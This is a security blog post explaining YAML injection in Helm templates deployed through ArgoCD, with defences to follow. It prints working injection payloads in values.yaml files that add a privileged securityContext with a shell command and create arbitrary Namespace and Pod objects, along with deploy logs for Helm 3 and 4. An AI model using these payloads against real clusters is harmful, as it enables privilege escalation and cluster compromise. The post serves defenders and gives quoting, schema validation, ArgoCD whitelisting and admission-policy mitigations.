Security incident? Suspected breach? 09 71 18 27 69csirt@synacktiv.com

Charting your way in: Helm template injection

Written by Paul Barbé - 29/06/2026 - in - Download

During the audit of a Kubernetes cluster, we encountered an injection in a Helm template applied through ArgoCD. To our surprise, very few resources exist regarding YAML injection in vulnerable Helm templates. In this blog post, we will explore this kind of vulnerability and how to prevent its exploitation.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Helm

Helm is a widely used project for managing and deploying resources in a Kubernetes cluster. Through the use of templates that can be customized, it renders YAML manifest files and applies them to the cluster. Moreover, with the use of labels, it allows managing deployments with features such as version control and reconciliation.

This helps cluster administrators deploy all necessary resources for an application and manage dependencies.

Helm templates are YAML files with templating syntax similar to Jinja templating (in reality, it uses Golang templating12.). User-defined parameters, called values and typically stored in a file named values.yaml, allow Kubernetes manifests to be rendered with custom inputs.

To create a Helm Chart with its template and values, we can use the Helm CLI. We will use the following example:

$ helm create myapp
$ cat << EOF > myapp/values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: "1.0.0"
EOF

$ rm -r myapp/templates/*
$ cat << EOF > myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
          ports:
          - containerPort: 80
EOF

This template creates a Deployment named myapp where:

  • The number of Pods (spec.replicas) is dynamically set by {{ .Values.replicaCount }}

  • The container image for the myapp container is dynamically set by {{ .Values.image.repository }}:{{ .Values.image.tag }}

Templating the Helm chart with our values can be done with the following commands, which just prints out the resulting rendered manifest:

$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          ports:
          - containerPort: 80

During this step, some verifications are performed to ensure that the chart produced a well-formatted YAML, but not that it is syntactically correct as a Kubernetes manifest, as we will see later.

It can then be applied inside a cluster using the default .kube/config configuration:

$ helm install myapp ./myapp
NAME: myapp
LAST DEPLOYED: Fri Oct 17 14:50:17 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

CI/CD Setup

One of the main reasons Helm became so popular in the Kubernetes community is its simplicity in sharing Helm charts to deploy complex applications, while letting end administrators only configure the values they need. The plain text format of Helm charts makes them easy to store in version control and use as infrastructure-as-code in Kubernetes.

We often see Helm charts stored in Git repositories, with CI configurations ensuring that any changes in them or their values.yaml files are applied nearly in real-time to the cluster.

To achieve this, ArgoCD3 has become one of the go-to solutions. It allows defining CI pipelines that monitor both the state of the code repository and the resources in the cluster.
 
A common pattern is to directly apply a Helm chart from a Git repo, using ArgoCD’s Application CRD4.

Here’s an example of how to do that using a Helm chart located in a Github repository under the charts/myapp/ directory:

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: myapp
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/synacktiv/example-helm-deployments.git
    targetRevision: main
    path: charts/myapp
    helm:
      valueFiles:
        - values/production.yaml
  destination:
    server: https://kubernetes.default.svc
    namespace: myapp
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true

While convenient, this can lead to trivial container escapes or privilege escalation, since anyone with push privileges in the repository will be able to deploy arbitrary resources or workload.

As a solution, concerned administrators often allow project developers to only control the values of pre-approved and pre-configured charts. That way, it is assumed that only safe, pre-approved resources with limited configurable fields will be deployed. This can be achieved using multi-source projects5.

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: myapp
  namespace: argocd
spec:
  project: default
   sources:
    - repoURL: 'https://synacktiv-exemple-repo/helm-charts'
      chart: my-apps
      targetRevision: 1.0
      helm:
        valueFiles:
        - $values/charts/prometheus/values.yaml
    - repoURL: 'https://github.com/synacktiv/example-helm-deployments.git'
      targetRevision: main
      ref: values
  destination:
    server: https://kubernetes.default.svc
    namespace: myapp
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

In reality, if we use the previous template, this configuration will be injectable.

The Injection

Helm v3

The injection possibilities lie in the fact that variables are used without any escaping or validation with .Values.

While this seems to be a known risk, we found no resource explaining in depth why this is a problem and how it can be exploited. Moreover, the Helm documentation isn’t clear on this subject. The topic of escaping variables comes only after numerous injectable examples in theHelm chart template guide6, and no direct security consideration is given.

Take this sentence from the Helm documentation7:

Let's start with a best practice: When injecting strings from the .Values object into the template, we ought to quote these strings.

Helm presents escaping functions as best practices only regarding strings. No security warning is given.

So, let’s dive into the vulnerability itself. We'll use our previous example along with its values file.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
          ports:
          - containerPort: 80

All values inserted in this chart are injectable. The trick? Using multi-lines values starting with |, for example:

replicaCount: |
  3
    injectedAttribute: True
image:
  repository: myregistry/myapp
  tag: '1.0.0'

Templating these values will inject the injectedAttribute: True parameter inside the generated manifest:

$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  injectedAttribute: True

  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          ports:
          - containerPort: 80

However, we can notice a newline character \n is added at the end of the injection. This can make things tricky when trying to inject into a string. Let's take the following values where the injection is carried out in the tag variable: we must take into account the indentation level and the context in order to close and restore it correctly, here through the use of ".

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |
    1.0.0"
              command:
              - "echo injected

The generated YAML will be syntactically correct, even with the newline.

$ helm template ./myapp --debug
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp: 1.0.0"
          command:
          - "echo injected
"
          ports:
          - containerPort: 80
$ helm install myapp ./ --values=values.yaml
LAST DEPLOYED: Fri Oct 17 22:03:29 2025
NAMESPACE: default
NAME: myapp
STATUS: deployed
REVISION: 1
TEST SUITE: None

The newline is ultimately converted into a space, which can be verified by inspecting the resource within the cluster.

$ kubectl get deployment -o yaml myapp
apiVersion: apps/v1
kind: Deployment
metadata:
  [...]
spec:
  progressDeadlineSeconds: 600
  replicas: 3
  [...]
  template:
    metadata:
       [...]
    spec:
      containers:
      - command:
        - 'echo injected ' # \n is converted into a space
        image: 'myregistry/myapp: 1.0.0'
        imagePullPolicy: IfNotPresent

Such behavior potentially restricts exploitation depending on the targeted context. To bypass this, the |- sequence can be used to create multiline values without the final carriage return. 

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
              securityContext:
                privileged: true
              command: [ "/bin/sh", "-c" ]
              args:
              - "curl 1.1.1.1

Note that the indentation is important.

$ helm template ./myapp 

---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c" ]
          args:
          - "curl 1.1.1.1"
          ports:
          - containerPort: 80

We are able to add attributes to an existing object specification, allowing to execute arbitrary commands or change the security context of the Pod for easy container escapes. This can be enough in numerous situation, but we are also able to create arbitrary objects.

In YAML, multiple objects can be defined in the same manifest by using --- as a separator. Nothing prevents us to use it to define new arbitrary objects. For example, the following values.yaml will inject a Namespace definition and a nginx Pod in this new namespace.

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection 
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest 
        ports:
        - containerPort: 80
      other:
        attribute:
          to:
            fix:
              context: "a

The other.attribute.to.fix.context: "a part has been added to generate a valid YAML. Even if these attributes will not be recognized as valid, trying to install the chart as is will work and the namespace and pod will be created in the cluster.

$ helm install myapp ./myapp --debug

client.go:142: 2025-10-17 22:13:18.134663858 +0200 CEST m=+0.101315381 [debug] creating 3 resource(s)
W1017 22:13:18.143600    4407 warnings.go:70] unknown field "spec.other"
NAME: myapp
LAST DEPLOYED: Fri Oct 17 22:13:18 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}

COMPUTED VALUES:
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection  # Specifies the namespace
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest  # Uses the latest official Nginx image
        ports:
        - containerPort: 80
      other:
        attribute:
          to:
            fix:
              context: "a
replicaCount: 3

HOOKS:
MANIFEST:
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: injection
  labels:
    name: injection
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
  namespace: injection  # Specifies the namespace
  labels:
    app: nginx
spec:
  containers:
  - name: nginx-container
    image: nginx:latest  # Uses the latest official Nginx image
    ports:
    - containerPort: 80
  other:
    attribute:
      to:
        fix:
          context: "a"
          ports:
          - containerPort: 80
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"

We can verify that using kubectl commands:

$ kubectl get ns injection
NAME        STATUS   AGE
injection   Active   25s

$ kubectl get pod -n injection
NAME        READY   STATUS    RESTARTS   AGE
nginx-pod   0/1     Pending   0          25s

Such capabilities will most likely lead to cluster compromise. Depending on the configuration, we can create a Role or ClusterRole, along with their respective Bindings, or as in the previous example, deploy a privileged Pod in a new Namespace to bypass existing Pod Security Admission configuration.

Helm v4

Released in November 2025, Helm version 4 introduces changes regarding this type of injection. In this version, the Server-Side Apply mechanism is enabled by default, thereby delegating validation tasks to the Kubernetes API Server. Consequently, whereas non-existent attributes were simply ignored in Helm 3, invalid resources will no longer be deployed by default.

replicaCount: |
  3
    injectedAttribute: True
image:
  repository: myregistry/myapp
  tag: '1.0.0'
$ helm install myapp ./ --values=values.1.yaml --debug
[...]
level=DEBUG msg="using server-side apply for resource creation" forceConflicts=false dryRun=false fieldValidationDirective=Strict
[...]
Error: INSTALLATION FAILED: server-side apply failed for object default/myapp apps/v1, Kind=Deployment: failed to create typed patch object (default/myapp; apps/v1, Kind=Deployment): .spec.injectedAttribute: field not declared in schema

Executing the same exploitation vector under Helm 4 requires either utilizing exclusively existing attributes, or appending an additional resource to absorb the remaining context, which will subsequently be rejected. Applying this to the previous namespace injection scenario, a second pod resource is introduced.

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection 
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest 
        ports:
        - containerPort: 80
    ---
    apiVersion: v1 # Pour absorber le contexte
    kind: Pod
    metadata:
      name: not-deployed
      labels:
        app: nginx
    spec:
      other:
        attribute:
          to:
            fix:
              context: "a
$ helm4 install myapp myapp --values=values.yaml --debug   

level=DEBUG msg="Created resource via patch" namespace="" name=injection gvk="/v1, Kind=Namespace"
level=DEBUG msg="Error creating resource via patch" namespace=default name=not-deployed gvk="/v1, Kind=Pod" error="server-side apply failed for object default/not-deployed /v1, Kind=Pod: failed to create typed patch object (default/not-deployed; /v1, Kind=Pod): .spec.other: field not declared in schema"
level=DEBUG msg="Created resource via patch" namespace=injection name=nginx-pod gvk="/v1, Kind=Pod"
level=DEBUG msg="Created resource via patch" namespace=default name=myapp gvk="apps/v1, Kind=Deployment"

The namespace and the nginx pod are successfully created, while the not-deployed pod is rejected.

How to prevent it

In Helm

As usual, escaping user inputs will be the solution. The Helm template engine allows for multiple functions to manipulate the injected values.

As suggested in the Helm documentation, always quote your strings values. For string concatenation use the printf function before quoting the result:

image: {{ printf "%s:%s"  .Values.image.repository .Values.image.tag | quote}} 

For integer or decimal values however, you should escape them using respectively the int or float64 function. Note that if the value is not an int (or a float in the corresponding case) it will be defaulted to 0.

replicas: {{ .Values.replicaCount | int }}

For any other situation, or to perform additional check, you can use the regexMatch function in a fail-safe manner at the start of your template:

# Check image.tag
{{- if not (regexMatch "^(latest|1.1|dev)$" .Value.image.tag) }}
{{- fail "value image.tag does not respect the excepted format" }}
{{- end }}

Going further, you can leverage a JSON schema file to validate the structure and types of data provided in values.yaml89.

For example, let's take our previous values.yaml, converted into JSON:

{
  "replicaCount": 3,
  "image": {
    "repository": "myregistry/myapp",
    "tag": "1.0.0"
  }
}

The equivalent JSON Schema will be:

{
  "$schema": "http://json-schema.org/schema",
  "type": "object",
  "properties": {
    "replicaCount": {
      "type": "number"
    },
    "image": {
      "type": "object",
      "properties": {
        "repository": {
          "type": "string",
          "pattern": "^[a-z0-9-_/:]+$"
        },
        "tag": {
          "type": "string",
           "pattern": "^(latest|1.1|dev)$"
        }
      },
      "required": [
        "repository",
        "tag"
      ]
    }
  },
  "required": [
    "replicaCount",
    "image"
  ]
}

It should be stored in values.schema.json and will be used for commands:

  • helm template
  • helm install
  • helm upgrade
  • helm lint

Trying to inject in this situation will result in an error

$ helm template ./myapp --debug


Error: values don't meet the specifications of the schema(s) in the following chart(s):
myapp:
- at '/replicaCount': got string, want number
- at '/image/tag': '1.0.0"\n---\napiVersion: [...]' does not match pattern '^(latest|1.1|dev)$'

In ArgoCD

Resources deployed by ArgoCD can and should be restricted to limit the extent of a successful injection attack. This should be implemented using the clusterResourceWhitelist field within the AppProject resource10.

An AppProject defines logical groups of applications and includes source repositories, destination clusters, and allowed resources. By allowing only required resources for your project, you prevent creation of sensitive, possibly cluster-scoped, resources. For example, to restrict object creation to only Deployment:

apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: default
  namespace: argocd
spec:
  # ... other project specs ...
  clusterResourceWhitelist:
    - group: apps
      kind: Deployment

This prevents the deployment of arbitrary resources like the injected Namespace or Pod demonstrated earlier, as they would violate the allowed resources.

To even more restrict your ArgoCD instance, consider installing it with namespace-level privileges. The standard ArgoCD installation requires ClusterRole and ClusterRoleBinding permissions to manage resources across the entire cluster, that grant, most often than not, cluster admin privileges. However, it can also be configured to run with only Role and RoleBinding permissions within a single, or multiple namespaces.

This isolates ArgoCD's capabilities. If an attacker compromises ArgoCD or an application it manages (via injection), the damage is constrained to the specific namespaces and any allowed whitelisted resources, significantly limiting potential cluster-wide escalations.

In Kubernetes with Validating Admission Policy

To go a step further, Validating Admission Policies in Kubernetes can enforce fine-grained control over resources after they pass through ArgoCD and before they are deployed in the cluster.

Validating Admission Policies use the Common Expression Language to define rules that must be satisfied for a resource to be created, updated, or deleted.

For instance, you can use a VAP to strictly enforce a no-privileged-pods rule within the target application namespace, directly countering the injection of securityContext. First, a ValidatingAdmissionPolicy is used to check for privileged containers:

apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicy
metadata:
  name: no-privileged-pods
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - apiGroups:   [""]
        apiVersions: ["v1"]
        operations:  ["CREATE", "UPDATE"]
        resources:   ["pods"]
  validations:
    - expression: |
        !has(object.spec.containers) || object.spec.containers.all(c, 
        !has(c.securityContext.privileged) || c.securityContext.privileged == false)
      message: "Privileged containers are not allowed."

Next, it should be linked it to the myapp namespace using a ValidatingAdmissionPolicyBinding:

apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: no-privileged-pods-binding
spec:
  policyName: no-privileged-pods
  matchResources:
    namespaceSelector:
      matchLabels:
        kubernetes.io/metadata.name: myapp # Target the myapp namespace

With this in place, any attempt to deploy a pod with securityContext.privileged: true, whether intentional or via a Helm value injection, will be blocked by the Kubernetes API server itself.

Conclusion

CI/CD pipelines are, by nature, high-privilege systems. They hold credentials, deploy workloads, and often talk directly to production clusters, all while being accessible to a wider audience (developers, operators, and automation processes) than old-school sysadmin interfaces were. That combination makes them a great target for attackers: compromise the pipeline, and you basically have the keys to the kingdom.

This example shows how a single oversight, forgetting to escape a value in a Helm template, can cascade into a full compromise of the environment. A small configuration mistake can open the door to arbitrary code execution or privilege escalation. Such issues are subtle, easy to miss in code review, and can completely undermine the intended security boundaries.

Keeping these pipelines secure takes significant efforts. From templating engines and deployment tools to orchestration layers and validation policies, each element introduces its own risks. Implementing proper mitigations is rarely straightforward. These controls often require deep technical knowledge of how each component interacts, careful testing to avoid breaking automation, and ongoing maintenance as tools evolve. In practice, doing it right is complex and time-consuming.

Addressing these challenges cannot fall solely on users and operators. Projects and tools that make up the CI/CD ecosystem should take an active role in helping users deploy them securely. This means providing clear documentation, secure defaults, and explicit guidance on the implications of configuration options. Security considerations should be integrated into the normal usage path, not left as optional best practices.